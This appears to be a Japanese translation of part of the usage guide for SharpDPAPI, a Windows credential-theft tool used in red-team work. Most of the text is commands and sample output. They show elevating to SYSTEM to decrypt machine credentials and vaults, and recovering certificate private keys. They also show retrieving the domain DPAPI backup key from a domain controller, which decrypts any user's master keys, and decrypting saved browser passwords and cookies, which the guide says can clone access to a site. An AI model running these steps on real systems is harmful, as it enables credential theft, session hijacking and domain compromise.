特定の証明書は /target:FILE または /target:C:\Folder\ で指定できます。どちらの場合も、{GUID}:SHA1 値(または /unprotect)が必要です。または、フォルダに DPAPI マスターキーが含まれ、/pvk ドメインバックアップキーが指定されている必要があります。
デフォルトでは、関連するインストール済み証明書にリンク可能な秘密鍵のみが表示されます。/showall コマンドは、復号されたすべての秘密鍵を表示します。
CNG 秘密鍵の場合は /cng フラグを使用します(デフォルトは capi)。
ドメイン {GUID}:SHA1 マスターキーマッピングの使用:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
/unprotectを使用して、見つかったユーザー証明書を復号化します。
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: Certificate Triage
[*] Using CryptUnprotectData() for decryption.
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Description : Private Key
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 10/18/2022 11:40:07 AM
Expiry Date : 10/18/2023 12:00:07 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
ドメインDPAPIバックアップキーを使用して、最初に検出可能なマスターキーを復号化します。
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
triageコマンドは、credentials、vaults、rdg、certificatesの各コマンドを実行します。
machinemasterkeysコマンドは、SYSTEM権限に昇格してDPAPI_SYSTEM LSAシークレットを取得し、それを使用して見つかったマシンDPAPIマスターキーを復号化します。マスターキーの{GUID}:SHA1マッピングのセットを返します。
ローカル管理者権限が必要です(DPAPI_SYSTEM LSAシークレットを取得するため)。
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Masterkey File Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
machinecredentialsコマンドは、SYSTEM権限に昇格してDPAPI_SYSTEM LSAシークレットを取得し、それを使用して見つかったマシンDPAPIマスターキーを復号化します。これらのキーは、見つかったマシンの資格情報ファイルを復号化するために使用されます。
ローカル管理者権限が必要です(DPAPI_SYSTEM LSAシークレットを取得するため)。
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Credential Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging System Credentials
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
machinevaultsコマンドは、SYSTEM権限に昇格してDPAPI_SYSTEM LSAシークレットを取得し、それを使用して見つかったマシンDPAPIマスターキーを復号化します。これらのキーは、見つかったマシンのVaultを復号化するために使用されます。
ローカル管理者権限が必要です(DPAPI_SYSTEM LSAシークレットを取得するため)。
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Vault Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging SYSTEM Vaults
[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
certificates /machineコマンドは、マシン証明書ストアを使用して、復号化可能なマシン証明書の秘密キーを探します。/mkfile:Xと{GUID}:masterkeyは/target:[ファイル|フォルダ]コマンドと共に使用できます。それ以外の場合、SharpDPAPIはSYSTEM権限に昇格してDPAPI_SYSTEM LSAシークレットを取得し、それを使用して見つかったマシンDPAPIマスターキーを復号化します。これらのキーは、見つかったマシンシステムで暗号化されたDPAPI秘密証明書キーを復号化するために使用されます。
デフォルトでは、関連付けられたインストール済み証明書にリンク可能な秘密キーのみが表示されます。/showallコマンドを使用すると、復号化されたすべての秘密キーが表示されます。
ローカル管理者権限が必要です(DPAPI_SYSTEM LSAシークレットを取得するため)。
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] Triaging System Certificates
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
machinetriageコマンドは、machinecredentials、machinevaults、certificates /machineの各コマンドを実行します。
psコマンドは、エクスポートされたPSCredential clixmlを記述/復号化します。/target:FILE.xmlを指定する必要があります。
このコマンドは、a) 渡された"{GUID}:SHA1"マスターキーでファイルを復号化するか、b) 1つ以上の{GUID}:SHA1マスターキーマッピングを含む/mkfile:FILEを使用するか、c) 提供されたDPAPIドメインバックアップキー(/pvk:BASE64...または/pvk:key.pvk)を使用して最初にユーザーマスターキーを復号化するか(masterkeysと同様)、d) /password:Xを使用してユーザーマスターキーを復号化し、それらをルックアップ復号テーブルとして使用します。DPAPI GUIDマッピングは、Mimikatzのsekurlsa::dpapiコマンドで復元できます。
/unprotectフラグは、マスターキーを必要とせずにCryptUnprotectData()を使用して資格情報.xmlを復号化します。ただし、コマンドがパスワードを保存したユーザーコンテキストから実行された場合に限ります。これは、_特権のない_コンテキストから、LSASSに触れることなく実行できます。このアプローチが資格情報/Vaultに使用されない理由については、Benjaminのドキュメントを参照してください。
CryptProtectData()を使用してエクスポートされた資格情報.xmlを復号化する(/unprotectフラグ):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
ドメイン{GUID}:SHA1マスターキーマッピングを使用:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
ドメインDPAPIバックアップキーを使用して、最初に検出可能なマスターキーを復号化:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
blobコマンドは、DPAPI blobを記述/復号化します。/target:<BASE64|blob.bin>を指定する必要があります。
このコマンドは、a) 渡された"{GUID}:SHA1"マスターキーでblobを復号化するか、b) 1つ以上の{GUID}:SHA1マスターキーマッピングを含む/mkfile:FILEを使用するか、c) 提供されたDPAPIドメインバックアップキー(/pvk:BASE64...または/pvk:key.pvk)を使用して最初にユーザーマスターキーを復号化するか(masterkeysと同様)、d) /password:Xを使用してユーザーマスターキーを復号化し、それらをルックアップ復号テーブルとして使用します。DPAPI GUIDマッピングは、Mimikatzのsekurlsa::dpapiコマンドで復元できます。
/unprotectフラグは、マスターキーを必要とせずにCryptUnprotectData()を使用してblobを復号化します。ただし、コマンドがパスワードを保存したユーザーコンテキストから実行された場合に限ります。これは、_特権のない_コンテキストから、LSASSに触れることなく実行できます。このアプローチが資格情報/Vaultに使用されない理由については、Benjaminのドキュメントを参照してください。
CryptProtectData()を使用してblobを復号化する(/unprotectフラグ):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
ドメイン{GUID}:SHA1マスターキーマッピングを使用:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] アクション: DPAPI blob の説明
[*] 復号に CryptUnprotectData() を使用しています。
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
ドメイン DPAPI バックアップキーを使用して、検出可能なマスターキーを最初に復号します:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] アクション: DPAPI blob の説明
[*] ドメイン DPAPI バックアップキーを使用して、復号キーマッピングのためのマスターキーをトリアージしています!
[*] ユーザーマスターキーキャッシュ:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
backupkey コマンドは、LsaRetrievePrivateData API アプローチを使用してドメインコントローラからドメイン DPAPI バックアップキーを取得します Mimikatz より。この秘密キーを使用して、ドメイン上の任意のユーザーのマスターキーブロブを復号できます。さらに良いことに、キーは決して変更されません ;)
リモートドメインコントローラからキーを取得するには、ドメイン管理者(または同等の)権限が必要です。
/nowrap フラグは、表示時に base64 キーが折り返されるのを防ぎます。
この base64 キーブロブは、バイナリ .pvk ファイルにデコードでき、その後 Mimikatz の dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk モジュールで使用したり、SharpDPAPI の masterkeys、credentials、または vault コマンドで blob/file /pvk:X 形式で使用できます。
デフォルトでは、SharpDPAPI は DsGetDcName API 呼び出しを介して現在のドメインコントローラを特定しようとします。サーバーは /server:COMPUTER.domain.com で指定できます。キーを base64 ブロブとして出力する代わりにディスクに保存したい場合は、/file:key.pvk を使用します。
現在のドメインコントローラの DPAPI バックアップキーを取得する:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] アクション: ドメイン DPAPI バックアップキーの取得
[*] 現在のドメインコントローラを使用 : PRIMARY.testlab.local
[*] 優先バックアップキー GUID : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完全な優先バックアップキー名 : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] キー :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
指定された DC の DPAPI バックアップキーを取得し、バックアップキーをファイルに出力する:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] アクション: ドメイン DPAPI バックアップキーの取得
[*] 使用サーバー : primary.testlab.local
[*] 優先バックアップキー GUID : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完全な優先バックアップキー名 : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] バックアップキーが書き込まれました : key.pvk
search コマンドは、レジストリ、ファイル、フォルダ、および base64 ブロブ内の潜在的な DPAPI ブロブを検索します。使い方:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
`search`コマンドは、DPAPI blob構造のヘッダー(バージョン + DPAPIプロバイダGUID)を表す次のバイトを検索することで動作します:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
検索コマンドは、スキャンするデータタイプによって異なる引数を持ちます。データタイプを指定するには、/type 引数を使用し、registry、folder、file、または base64 を指定します。/type 引数が指定されていない場合、コマンドはデフォルトでレジストリを検索します。
他の引数なしでレジストリを検索する場合、コマンドは HKEY_LOCAL_MACHINE と HKEY_USERS ハイブを再帰的に検索します。/path パラメータを使用して検索の起点となるルートキーを指定し(例:/path:HKLM\Software)、/showErrors 引数を使用して列挙中に発生するエラーを表示します。
ファイルまたはフォルダを検索する場合、/path:C:\Path\to\file\or\folder でパスを指定し、オプションで /maxBytes:<int> を使用して各ファイルから読み取るバイト数を指定します(デフォルト:1024 バイト)。コマンドはファイルの先頭からバイトを読み取り、DPAPI ブロブを検索します。列挙中に発生するエラーを表示するには /showErrors を使用します。
base64 ブロブを検索する場合、/base64:<base64 str> パラメーターでスキャンする base64 エンコードされたバイトを指定します。
SCCM クライアントであるマシンで昇格された権限で実行されている場合、SCCM 環境がネットワークアクセスアカウント(NAA)で構成されていると、NAA 資格情報を含むシステムマスターキーで保護された DPAPI ブロブを WMI 経由で取得できます。SCCM コマンドは WMI 経由でブロブを照会し、システムマスターキーを取得し、ブロブを復号化します。
logins コマンドは、Chrome の「Login Data」ファイルを検索し、保存されたログインパスワードを復号化します。非昇格コンテキストで実行されている場合、CryptProtectData() が自動的に使用され、値の復号化が試みられます。/browser:edge を指定すると、新しい Chromium ベースの Edge ブラウザーも対象となります。
Login Data ファイルは、以下の方法でも復号化できます:a) 渡された任意の "{GUID}:SHA1 {GUID}:SHA1 ..." マスターキー、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE、c) 指定された DPAPI ドメイン バックアップ キー(/pvk:BASE64... または /pvk:key.pvk)を使用して最初にユーザーマスターキーを復号化、または d) /password:X を使用してユーザーマスターキーを復号化し、それをルックアップ復号化テーブルとして使用します。DPAPI GUID マッピングは、Mimikatz の sekurlsa::dpapi コマンドで復元できます。
特定の Login Data ファイルは /target:FILE で指定できます。/pvk または /password も指定されている場合は、リモートの /server:SERVER を指定できます。新しい Chrome/Edge インスタンスを処理する場合は、/statekey:X AES ステートキーを指定できます。
デフォルトでは、ログイン情報は csv 形式で表示されます。これは /format:table でテーブル出力に変更できます。また、デフォルトでは null 以外のパスワード値エントリのみが表示されますが、すべての値を表示するには /showall を使用します。
昇格されたコンテキストで実行された場合、すべてのユーザーの Login Data ファイルが処理されます。それ以外の場合は、現在のユーザーの Login Data ファイルのみが処理されます。
cookies コマンドは、Chromium の「Cookies」ファイルを検索し、Cookie 値を復号化します。非昇格コンテキストで実行されている場合、CryptProtectData() が自動的に使用され、値の復号化が試みられます。/browser:<VALUE>(例:edge、brave、slack)を使用して対象アプリケーションを変更できます。
Cookie ファイルは、以下の方法でも復号化できます:a) 渡された任意の "{GUID}:SHA1 {GUID}:SHA1 ..." マスターキー、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE、c) 指定された DPAPI ドメイン バックアップ キー(/pvk:BASE64... または /pvk:key.pvk)を使用して最初にユーザーマスターキーを復号化、または d) /password:X を使用してユーザーマスターキーを復号化し、それをルックアップ復号化テーブルとして使用します。DPAPI GUID マッピングは、Mimikatz の sekurlsa::dpapi コマンドで復元できます。
特定の Cookies ファイルは /target:FILE で指定できます。/pvk または /password も指定されている場合は、リモートの /server:SERVER を指定できます。新しい Chrome/Edge インスタンスを処理する場合は、/statekey:X AES ステートキーを指定できます。
デフォルトでは、Cookie は csv 形式で表示されます。これは /format:table でテーブル出力に、または /format:json で EditThisCookie にインポート可能な出力に変更できます。また、デフォルトでは期限切れでない Cookie 値エントリのみが表示されますが、すべての値を表示するには /showall を使用します。
昇格されたコンテキストで実行された場合、すべてのユーザーの Cookie ファイルが処理されます。それ以外の場合は、現在のユーザーの Cookie ファイルのみが処理されます。
cookies コマンドには、指定された正規表現に一致する Cookie 名または URL のみを返すための /cookie:REGEX および /url:REGEX 引数もあります。これは /format:json と組み合わせて、特定のサイトへのアクセスを簡単にクローンするのに便利です。
デフォルトでは、statekeys コマンドは Chromium ベースのアプリケーション(Google Chrome、Edge、Brave、Slack)を検索し、その AES ステートキーファイル(例:'AppData\Local\Google\Chrome\User Data\Local State' や 'AppData\Local\Microsoft\Edge\User Data\Local State')を見つけ、cookies や logins に指定できるものと同じ種類の引数を使用して復号化します。/target: パラメーターを使用して、特定のステートキーファイルへのパスを指定することもできます(例:"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State")。
ステートキーは、以下の方法でも復号化できます:a) 渡された任意の "{GUID}:SHA1 {GUID}:SHA1 ..." マスターキー、b) 1 つ以上の {GUID}:SHA1 マスターキーマッピングを含む /mkfile:FILE、c) 指定された DPAPI ドメイン バックアップ キー(/pvk:BASE64... または /pvk:key.pvk)を使用して最初にユーザーマスターキーを復号化、または d) /password:X を使用してユーザーマスターキーを復号化し、それをルックアップ復号化テーブルとして使用します。DPAPI GUID マッピングは、Mimikatz の sekurlsa::dpapi コマンドで復元できます。
昇格されたコンテキストで実行された場合、すべてのユーザーのステートキーが処理されます。それ以外の場合は、現在のユーザーのステートキーのみが処理されます。
